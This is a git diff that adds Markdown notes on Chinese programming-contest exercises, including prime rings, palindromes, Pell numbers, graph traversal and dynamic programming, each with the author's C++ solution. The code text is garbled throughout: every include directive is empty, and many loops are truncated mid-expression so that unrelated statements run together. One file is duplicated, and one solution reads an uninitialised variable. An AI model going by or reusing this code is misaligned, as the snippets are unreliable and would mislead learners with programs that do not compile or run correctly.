diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git "a/1358 - \343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" "b/1358 - \343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" new file mode 100644 index 0000000..7a4b3e5 --- /dev/null +++ "b/1358 - \343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" @@ -0,0 +1,120 @@ +【提高】素数环 +题目描述 +从`1~n(2<=n<=10)`这`n`个数,摆成一个环,要求相邻的两个数的和是素数,按照由小到大请输出所有可能的摆放形式。 + +比如:`n = 4`,输出形式如下 + +``` +1:1 2 3 4 +2:1 4 3 2 +3:2 1 4 3 +4:2 3 4 1 +5:3 2 1 4 +6:3 4 1 2 +7:4 1 2 3 +8:4 3 2 1 +total:8 +``` + +比如:`n = 6`,输出形式如下 + +``` +1:1 4 3 2 5 6 +2:1 6 5 2 3 4 +3:2 3 4 1 6 5 +4:2 5 6 1 4 3 +5:3 2 5 6 1 4 +6:3 4 1 6 5 2 +7:4 1 6 5 2 3 +8:4 3 2 5 6 1 +9:5 2 3 4 1 6 +10:5 6 1 4 3 2 +11:6 1 4 3 2 5 +12:6 5 2 3 4 1 +total:12 +``` + +输入 +一个整数n`(2<=n<=10)` + +输出 +前若干行,每行输出一个素数环的解,最后一行,输出解的总数 + +样例 +输入 + +``` +4 +``` + +输出 +``` +1:1 2 3 4 +2:1 4 3 2 +3:2 1 4 3 +4:2 3 4 1 +5:3 2 1 4 +6:3 4 1 2 +7:4 1 2 3 +8:4 3 2 1 +total:8 +``` + +> 思路: +> 先将其看成全排列,在获得一个解的时候枚举判断相邻两个数之和是否都是素数。如果是,就找到了一组素数环,输出。 + + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 11; +int n, use[inf], f=0; +bool vis[inf]; +void print(){ + printf("%d:", ++f); + for(int i=1; i<=n; i++){ + printf("%d ", use[i]); + } + printf("\n"); +} +bool prime(int n){ + if(n <= 1){ + return false; + } + for(int i=2; i*i<=n; i++){ + if(n%i == 0){ + return false; + } + } + return true; +} +void dfs(int k){ + if(k == n){ + bool flag = false; + for(int i=1; i> n; + dfs(0); + printf("total:%d", f); + return 0; +} +``` + diff --git "a/1358-\343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" "b/1358-\343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" new file mode 100644 index 0000000..7a4b3e5 --- /dev/null +++ "b/1358-\343\200\220\346\217\220\351\253\230\343\200\221\347\264\240\346\225\260\347\216\257.md" @@ -0,0 +1,120 @@ +【提高】素数环 +题目描述 +从`1~n(2<=n<=10)`这`n`个数,摆成一个环,要求相邻的两个数的和是素数,按照由小到大请输出所有可能的摆放形式。 + +比如:`n = 4`,输出形式如下 + +``` +1:1 2 3 4 +2:1 4 3 2 +3:2 1 4 3 +4:2 3 4 1 +5:3 2 1 4 +6:3 4 1 2 +7:4 1 2 3 +8:4 3 2 1 +total:8 +``` + +比如:`n = 6`,输出形式如下 + +``` +1:1 4 3 2 5 6 +2:1 6 5 2 3 4 +3:2 3 4 1 6 5 +4:2 5 6 1 4 3 +5:3 2 5 6 1 4 +6:3 4 1 6 5 2 +7:4 1 6 5 2 3 +8:4 3 2 5 6 1 +9:5 2 3 4 1 6 +10:5 6 1 4 3 2 +11:6 1 4 3 2 5 +12:6 5 2 3 4 1 +total:12 +``` + +输入 +一个整数n`(2<=n<=10)` + +输出 +前若干行,每行输出一个素数环的解,最后一行,输出解的总数 + +样例 +输入 + +``` +4 +``` + +输出 +``` +1:1 2 3 4 +2:1 4 3 2 +3:2 1 4 3 +4:2 3 4 1 +5:3 2 1 4 +6:3 4 1 2 +7:4 1 2 3 +8:4 3 2 1 +total:8 +``` + +> 思路: +> 先将其看成全排列,在获得一个解的时候枚举判断相邻两个数之和是否都是素数。如果是,就找到了一组素数环,输出。 + + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 11; +int n, use[inf], f=0; +bool vis[inf]; +void print(){ + printf("%d:", ++f); + for(int i=1; i<=n; i++){ + printf("%d ", use[i]); + } + printf("\n"); +} +bool prime(int n){ + if(n <= 1){ + return false; + } + for(int i=2; i*i<=n; i++){ + if(n%i == 0){ + return false; + } + } + return true; +} +void dfs(int k){ + if(k == n){ + bool flag = false; + for(int i=1; i> n; + dfs(0); + printf("total:%d", f); + return 0; +} +``` + diff --git "a/2011NOIP\346\231\256\345\217\212\347\273\204\345\244\215\350\265\233\347\234\237\351\242\230\342\200\224\342\200\224C++\346\225\260\345\255\227\345\217\215\350\275\254.md" "b/2011NOIP\346\231\256\345\217\212\347\273\204\345\244\215\350\265\233\347\234\237\351\242\230\342\200\224\342\200\224C++\346\225\260\345\255\227\345\217\215\350\275\254.md" new file mode 100644 index 0000000..b26ca04 --- /dev/null +++ "b/2011NOIP\346\231\256\345\217\212\347\273\204\345\244\215\350\265\233\347\234\237\351\242\230\342\200\224\342\200\224C++\346\225\260\345\255\227\345\217\215\350\275\254.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9630588c30eb41f89285f028a08e0a29.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(这是一道真题) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,a,b,c; + cin>>n; + while(n!=0){ + a=n%10; //获取末位 + b=c*10+a; + c=b; + n/=10; //递除 + } + cout< +#include +#include +#include +#include +using namespace std; +long long b[1000010]; +long long r[1000010]; +long long pell(int n){ + if(n<3) return n; + if(b[n]==0) b[n]=(2*pell(n-1)+pell(n-2))%100000; + return (b[n]%32767); +} +int main(){ + int n,x; + cin>>n; + for(int i=1;i<=n;i++){ + cin>>x; + r[i]=pell(x); + } + for(int j=1;j<=n;j++){ + cout< 输入n,输出1~n(包含1和n)之间所有的回文数,并统计回文数的个数。个数之前要加星号。 +> 输入: 100 +> 输出:(下面是需要换行的) +> 1 2 3 4 5 6 7 8 9 11 22 33 44 55 66 77 88 99 +> *18 + +这道题我挖掘了两种做法,一种好理解但是运行内存和时间可能要差点;另一种稍微费点劲,但是可以放到比赛里用。 + +方法一: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +bool hw(int n){ + int a[11],b[11],m=n,i=0; + while(m){ + a[i++]=m%10; // 获取到每一位的数字,储存在数组 + m/=10; + } + for(int j=0;j>n; + for(int i=1;i<=n;i++){ + if(hw(i)){ + s++; + cout< +using namespace std; +int main(){ + int n,s=0,t,k=10,m; + cin>>n; + for(int i=1;i<=n;i++){ + t=i,m=0; + while(t!=0){ + m=m*k+t%10; + t/=10; // 重新组合 + } + if(m==i){ // 判断组合前后的数是否一样 + cout< +#include +using namespace std; + +int main(){ + char a[14]; + int b[10],sum=0,len,j=0; + cin>>a; + len=strlen(a); + for(int i=0;i='0'&&a[i]<='9') b[j++]=a[i]-'0'; + } + for(int i=0;i<9;i++) sum+=b[i]*(i+1); + if(sum%11==b[9]) cout<<"Right"< +#include +#include +#include +#include +using namespace std; +long long b[1000010]; +long long r[1000010]; +long long pell(int n){ + if(n<3) return n; + if(b[n]==0) b[n]=(2*pell(n-1)+pell(n-2))%100000; + return (b[n]%32767); +} +int main(){ + int n,x; + cin>>n; + for(int i=1;i<=n;i++){ + cin>>x; + r[i]=pell(x); + } + for(int j=1;j<=n;j++){ + cout< +#include +using namespace std; +int main(){ + // 创建队列q + queue q; + int sum=0; + for(int i=1;i<=10;i++){ + q.push(i); // 入队 + } + cout<<"队头元素:"< +using namespace std; +int g[101][101],du[101],c[101]; +//g=邻接数组 du=顶点读书 c存储路径 +int n,e,ci; //n=顶点数 e=边数 ci=搜索的点数 +//搜索函数 +void find(int i){ + for(int j=1;j<=n;j++){ + if(g[i][j]==1){ + g[j][i]=g[i][j]=0; //擦除i-j的连线 + find(j); + } + } + c[++ci]=i; +} +int main(){ + int x,y,k=0,start=1; + cin>>n>>e; + //创建邻接数组 + for(int i=1;i<=e;i++){ + cin>>x>>y; + g[y][x]=g[x][y]=1; //无向图 + du[x]++; + du[y]++; + } + //奇点个数 + for(int i=1;i<=n;i++){ + if(du[i]%2){ + start=i; + k++; + } + } + //判断奇点个数 + if(k==0||k==2){ + ci=0; + find(start); + for(int i=1;i<=ci;i++){ + cout< +#include +using namespace std; +int main(){ + cout<<"最大值:"< +using namespace std; + +int main(){ + int a[10][10]; + for (int i = 0;i < 5;i ++){ + for (int j = 0;j < 5;j ++){ + cin >> a[i][j]; + } + } + for (int i = 0;i < 5;i ++){ + for (int j = 4;j > 0;j --){ + swap(a[i][j],a[i][j - 1]); + } + } + for (int i = 0;i < 5;i ++){ + for (int j = 0;j < 4;j ++){ + cout << a[i][j] << " "; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\344\272\214\345\217\211\346\240\221\345\217\266\345\255\220\347\273\223\347\202\271\347\232\204\344\270\252\346\225\260.md" "b/C++\344\272\214\345\217\211\346\240\221\345\217\266\345\255\220\347\273\223\347\202\271\347\232\204\344\270\252\346\225\260.md" new file mode 100644 index 0000000..1f3bf09 --- /dev/null +++ "b/C++\344\272\214\345\217\211\346\240\221\345\217\266\345\255\220\347\273\223\347\202\271\347\232\204\344\270\252\346\225\260.md" @@ -0,0 +1,49 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e7101ce6c45d44718c5cfa9d70436f54.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct node{ + int left,right; + char value; +}data[101]; +int root=0,cnt=0; +char ch; +int buildTree(int bt){ + cin>>ch; + if(ch=='#'){ + bt=0; + return bt; + } + else{ + bt=++cnt; + data[bt].value=ch; + data[bt].left=data[bt].right=0; + data[bt].left=buildTree(bt); + data[bt].right=buildTree(bt); + } + return bt; +} +int func(int bt){ + if(bt){ + if(data[bt].left==0&&data[bt].right==0){ + return 1; + } + else { + return func(data[bt].left)+func(data[bt].right); + } + } + else return 0; +} +int main(){ + root=0; + cnt=0; + root=buildTree(0); + cout< +using namespace std; + +int main(){ + int a[3][4]; // 定义一个3 * 4的整数类型二维数组 + // 输入 + for (int i = 0;i < 3;i ++){ + for (int j = 0;j < 4;j ++) cin >> a[i][j]; + } + + // 输出 + for (int i = 0;i < 3;i ++){ + for (int j = 0;j < 4;j ++) cout << a[i][j] << " "; + } + return 0; +} +``` + diff --git "a/C++\344\272\244\346\215\242\344\272\214\347\273\264\346\225\260\347\273\204\344\270\244\345\210\227\344\275\215\347\275\256.md" "b/C++\344\272\244\346\215\242\344\272\214\347\273\264\346\225\260\347\273\204\344\270\244\345\210\227\344\275\215\347\275\256.md" new file mode 100644 index 0000000..5945c71 --- /dev/null +++ "b/C++\344\272\244\346\215\242\344\272\214\347\273\264\346\225\260\347\273\204\344\270\244\345\210\227\344\275\215\347\275\256.md" @@ -0,0 +1,28 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210716142430312.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int a[100][100],r,c,n,m; + cin >> r >> c; + for (int i = 0;i < r;i ++){ + for (int j = 0;j < c;j ++){ + cin >> a[i][j]; + } + } + cin >> n >> m; + for (int i = 0;i < r;i ++){ + swap(a[i][n - 1],a[i][m - 1]); + } + for (int i = 0;i < r;i ++){ + for (int j = 0;j < c;j ++){ + cout << a[i][j] << " "; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\344\272\244\346\215\242\347\237\251\351\230\265\344\270\255\344\270\244\350\241\214\347\232\204\344\275\215\347\275\256.md" "b/C++\344\272\244\346\215\242\347\237\251\351\230\265\344\270\255\344\270\244\350\241\214\347\232\204\344\275\215\347\275\256.md" new file mode 100644 index 0000000..fd399ef --- /dev/null +++ "b/C++\344\272\244\346\215\242\347\237\251\351\230\265\344\270\255\344\270\244\350\241\214\347\232\204\344\275\215\347\275\256.md" @@ -0,0 +1,28 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210716140049717.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int a[100][100],r,c,n,m; + cin >> r >> c; + for (int i = 0;i < r;i ++){ + for (int j = 0;j < c;j ++){ + cin >> a[i][j]; + } + } + cin >> n >> m; + for (int i = 0;i < r;i ++){ + swap(a[n - 1][i],a[m - 1][i]); + } + for (int i = 0;i < r;i ++){ + for (int j = 0;j < c;j ++){ + cout << a[i][j] << " "; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\344\274\227\346\225\260.md" "b/C++\344\274\227\346\225\260.md" new file mode 100644 index 0000000..8f2bba0 --- /dev/null +++ "b/C++\344\274\227\346\225\260.md" @@ -0,0 +1,25 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9a4eff34afcf4f908e7d10d67ac662cb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:Pan Daoxi +#include +using namespace std; +int a[10001]={}; +int main(){ + int n,m,s,t,max=0; + cin>>n; + for(int j=0;j>t; + a[t]++; + } + for(int i=1;i<10001;i++){ + if(a[i]>max) max=a[i]; + } + for(int i=0;i<10001;i++){ + if(a[i]==max) cout< +using namespace std; +int dx[5]={-1,0,1,0},dy[5]={0,1,0,-1}; +int G[51][51],n,m; +void dfs(int x,int y){ + for(int i=0;i<4;i++){ + int xx=x+dx[i],yy=y+dy[i]; + if(xx>=0&&xx0&&yy>n>>m; + for(int i=0;i>G[i][j]; + } + } + int res=0; + for(int i=0;i +using namespace std; +int a[101],n; +void lis(int a[],int n){ + int dp[101]={}; + fill(dp+1,dp+1+n,1); //从1填充到最后,填充值为1 + //动规核心:完全背包 + for(int i=2;i<=n;i++){ + //因为dp[1]=1,所以从2开始判断 + for(int j=1;ja[j]&&dp[j]+1>dp[i]) dp[i]=dp[j]+1; + } + } + //获取最优解 + int l=1; + for(int i=1;i<=n;i++){ + l=max(l,dp[i]); + } + cout<>n; + for(int i=1;i<=n;i++){ + cin>>a[i]; + } + lis(a,n); + return 0; +} + +``` + diff --git "a/C++\344\275\277\347\224\250\345\207\275\346\225\260\345\256\236\347\216\260\350\276\223\345\207\272\345\233\233\344\270\252\346\225\264\346\225\260\344\270\255\346\234\200\345\244\247\345\200\274.md" "b/C++\344\275\277\347\224\250\345\207\275\346\225\260\345\256\236\347\216\260\350\276\223\345\207\272\345\233\233\344\270\252\346\225\264\346\225\260\344\270\255\346\234\200\345\244\247\345\200\274.md" new file mode 100644 index 0000000..ac2725c --- /dev/null +++ "b/C++\344\275\277\347\224\250\345\207\275\346\225\260\345\256\236\347\216\260\350\276\223\345\207\272\345\233\233\344\270\252\346\225\264\346\225\260\344\270\255\346\234\200\345\244\247\345\200\274.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210720153946227.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int bigest(){ + int a[4],max = 0; + for(int i=0;i<4;i++){ + cin>>a[i]; + if(a[i]>max) max=a[i]; + } + return max; +} + +int main(){ + cout< +using namespace std; +int a[11],book[11],n; +void dfs(int step){ //深搜函数 + if(step==n+1){ + for(int i=1;i<=n;i++){ //注意从1~n + cout<>n; + dfs(1); + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/112bae4d4d504d3ca9ddad1cf1906be4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\345\205\253\350\277\233\345\210\266.md" "b/C++\345\205\253\350\277\233\345\210\266.md" new file mode 100644 index 0000000..4c24439 --- /dev/null +++ "b/C++\345\205\253\350\277\233\345\210\266.md" @@ -0,0 +1,24 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2200d2b0ad224359b6a9800dc9698ff0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +const int n=100; +int stack[n+1],top=0; +int main(){ + int n; + cin>>n; + while(n){ + stack[++top]=n%8; + n/=8; + } + while(top!=0){ + cout< +#include +using namespace std; + +int main() +{ + int n=0; + char a[31],b[31]; + cin.getline(a,31); + + for(int i=0; i='0'&&a[i]<='9') n++; + else cout< 雾锁山头山锁雾,天连水尾水连天 +> 客上天然居,居然天上客 +> 人过大佛寺,寺佛大过人 +> 邻居爱我爱居邻,鱼傍水活水傍鱼 +> 僧游云隐寺,寺隐云游僧 + +针对这道题,我的思路是:创建字符串`a`、`b`,将输入字符串`a`遍历,然后`b[i]=a[a长度-(1+i)]`,最后对比两个字符串是否相同。 + +比较两个字符串是否相同,我们可以使用`strcmp`函数,其返回值如下: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210720143146684.png) + + +代码如下: +```cpp +#include +#include +using namespace std; + +int main(){ + char a[101],b[101]; + int k=0; + cin.getline(a,101); + for(int i=0;i +using namespace std; +int f(int i,int j){ + if(i==1||j==1) return 1; + else return f(i-1,j)+f(i,j-1); +} +int main(){ + int n,m; + cin>>n>>m; + cout< +using namespace std; +//动态规划 +int pathSum_DP(int i,int j){ + if(i==1||j==1) return 1; + const int x=i,y=j; + int dp[x+1][y+1]={}; + for(int k=1;k<=i;k++){ + dp[k][1]=1; + } + for(int l=1;l<=j;l++){ + dp[1][l]=1; + } + //核心 + for(int k=2;k<=i;k++){ + for(int l=2;l<=j;l++){ + dp[k][l]=dp[k-1][l]+dp[k][l-1]; + } + } + return dp[i][j]; +} +int main(){ + int n,m; + cin>>n>>m; + cout< +using namespace std; +int pathSum_DP(int m,int n){ + if(m==1||n==1) return 1; + const int x=n; + //再次优化 + int dp[x+1]={}; + for(int i=1;i<=m;i++){ + for(int j=1;j<=n;j++){ + if(i==1||j==1) dp[j]=1; + else dp[j]=dp[j]+dp[j-1]; + } + } + return dp[n]; +} +int main(){ + int m,n; + cin>>m>>n; + cout< +using namespace std; +int a[1001][1001]={}; +int main(){ + for(int i=1;i<=8;i++){ + for(int j=1;j<=8;j++){ + if(i==1&&j==1) a[i][j]=1; + else a[i][j]=a[i-1][j]+a[i][j-1]; + } + } + cout< +using namespace std; + +int prime(int x){ + for(int i=2;i*i<=x;i++) if(x%i==0) return 0; + return 1; +} +int back(int x){ + int sum=0,n; + while(x>0){ + n=x%10; + sum*=10; + sum+=n; + x/=10; + } + return sum; +} +int main(){ + int m,n,k=0,a[10001]; + cin>>m>>n; + for(int i=m;i<=n;i++) if(prime(i)) if(prime(back(i))) a[k++]=i; + for(int i=0;i +#include +using namespace std; + +int main(){ + int a[100],n; + cin >> n; + for (int i = 0;i < n;i ++){ + cin >> a[i]; + } + sort(a + 0,a + n); + for (int i = 0;i < n;i ++){ + cout << a[i] << " "; + } + return 0; +} + ``` +降序: + +```cpp +#include +#include +using namespace std; + +int main(){ + int a[100],n; + cin >> n; + for (int i = 0;i < n;i ++){ + cin >> a[i]; + } + sort(a + 0,a + n); + for (int i = n - 1;i >= 0;i --){ + cout << a[i] << " "; + } + return 0; +} +``` + diff --git "a/C++\345\215\225\350\257\215\347\277\273\350\275\254.md" "b/C++\345\215\225\350\257\215\347\277\273\350\275\254.md" new file mode 100644 index 0000000..3a9ef83 --- /dev/null +++ "b/C++\345\215\225\350\257\215\347\277\273\350\275\254.md" @@ -0,0 +1,32 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210719155000619.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; + +int main(){ + const int n=501; + char a[n]; + int len,s=0,c=0,k=0; + cin.getline(a,n); + len=strlen(a); + for(int i=0;i=s;j--) cout< +#include +using namespace std; +int main(){ + // 创建双向队列 + dequedq; + int sum=0; + cout<<"最大容量:"< +#include +using namespace std; + +int main(){ + char a[101]; + cin.getline(a,101); + for(int i=strlen(a)-1;i>=0;i--) cout< +#include +using namespace std; +int a[10001],max_,n,cnt=0; +int main(){ + cin>>max_>>n; //最大价值和数量 + for(int i=1;i<=n;i++){ + cin>>a[i]; + } + sort(a+1,a+n+1); + int flag=1; //最小价值物品 + for(int i=n;i>=flag;i--){ + if(a[i]+a[flag]<=max_){ + cnt++; + flag++; + } + else{ + cnt++; + } + } + cout< +using namespace std; +int queue[1001]; +int index=0; +void output(){ + for(int i=0;i1){ + queue[index++]=3; + step(n-2); + --index; + } +} +int main(){ + int n; + cin>>n; + step(n); + return 0; +} +``` + diff --git "a/C++\345\220\214\345\255\246\344\273\254\347\232\204\350\256\241\347\256\227\351\242\230.md" "b/C++\345\220\214\345\255\246\344\273\254\347\232\204\350\256\241\347\256\227\351\242\230.md" new file mode 100644 index 0000000..5673362 --- /dev/null +++ "b/C++\345\220\214\345\255\246\344\273\254\347\232\204\350\256\241\347\256\227\351\242\230.md" @@ -0,0 +1,20 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/df9f9f4165444ccabb0f204a52ed8645.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c9c7ecc7aed44cf9a2ad0861b1d86525.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,f[101]={}; + cin>>n; + f[n]=n; //第n名同学做了n道题 + while(n>=0){ + f[n-1]=(f[n]+n-1)*2; + n--; + } + cout< +using namespace std; + +bool prime(int x){ + for(int i=2;i*i<=x;i++) if(x%i==0) return 0; + return 1; +} +int main(){ + int m,n; + cin>>m>>n; + for(int i=m;i<=n;i++){ + if(i%2==0){ + for(int j=2;j +#include +using namespace std; +int main(){ + double x; + cin>>x; + cout< +using namespace std; + +int main(){ + double x; + scanf("%lf",&x); + printf("%.2lf",x); + return 0; +} +``` + diff --git "a/C++\345\233\236\346\226\207\347\264\240\346\225\260.md" "b/C++\345\233\236\346\226\207\347\264\240\346\225\260.md" new file mode 100644 index 0000000..47af3ec --- /dev/null +++ "b/C++\345\233\236\346\226\207\347\264\240\346\225\260.md" @@ -0,0 +1,60 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/257171e6c8b64157b9c85d7d1998a0a1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int n; +long long a,b,res[50000],cnt; +// 判断是否为素数 +bool prime(int x){ + for(int i=2;i*i<=x;i++) if(x%i==0) return false; + return true; +} +// 求10的x次方 +long long mypow(int x){ + long long ans=1; + for(int i=1;i<=x;i++){ + ans*=10; + } + return ans; +} +// 回文数 +long long text(long long x){ + long long ans=x; + x/=10; + while(x>0){ + ans=ans*10+x%10; + x/=10; + } + return ans; +} +int main(){ + cin>>n; + // 简单的直接输出 + if(n==1) cout<<4< +using namespace std; + +int main(){ + int m,n,a[101][101]; + cin>>m>>n; + for(int i=1;i<=m;i++) for(int j=1;j<=n;j++) cin>>a[i][j]; + for(int j=1;j<=n;j++){ + for(int i=m;i>=1;i--) cout< +using namespace std; +void bfs(int cur){ + int head=0,tail=1; + q[0]=cur; //q数组储存经过的点 + cout<>n>>e; + for(int i=1;i<=e;i++){ + cin>>a>>b; + g[a][b]=1; //有向图 + } + cin>>temp; //起点 + bfs(temp); + return 0; +} +``` + diff --git "a/C++\345\233\276\347\232\204\346\267\261\345\272\246\344\274\230\345\205\210\346\220\234\347\264\242\351\201\215\345\216\206.md" "b/C++\345\233\276\347\232\204\346\267\261\345\272\246\344\274\230\345\205\210\346\220\234\347\264\242\351\201\215\345\216\206.md" new file mode 100644 index 0000000..1d5bc71 --- /dev/null +++ "b/C++\345\233\276\347\232\204\346\267\261\345\272\246\344\274\230\345\205\210\346\220\234\347\264\242\351\201\215\345\216\206.md" @@ -0,0 +1,40 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5fd4e0180e7f4789930432ab475143ad.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/cb8e612d2cca433ea9d4b0471c31441f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20c7b03fd373486a95bc155490e41ba1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4f72569fe09c4b728afcaf5655c1ed53.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int g[1001][1001],vis[1001],n,e,sum=0; +//深搜函数 +void dfs(int cur){ + cout<>n>>e; + for(int i=1;i<=e;i++){ + cin>>a>>b; + g[a][b]=1; + g[b][a]=1; //无向图 + } + //搜索 + vis[1]=1; + dfs(1); + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/451f5a6b3c6c407388bad39947b34892.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\345\233\276\350\256\272.md" "b/C++\345\233\276\350\256\272.md" new file mode 100644 index 0000000..280cce7 --- /dev/null +++ "b/C++\345\233\276\350\256\272.md" @@ -0,0 +1,46 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/df92faa741e04480ab592141fa4fe3d6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d9adc950f1a74099af18d5a2b4d8fefa.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b45b11fd7d9b4c6aaaea47df2f0e871a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9226e9497edd479dba42ee6cb4be756e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ab5e11b091ed494cae97e1db148993a5.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) 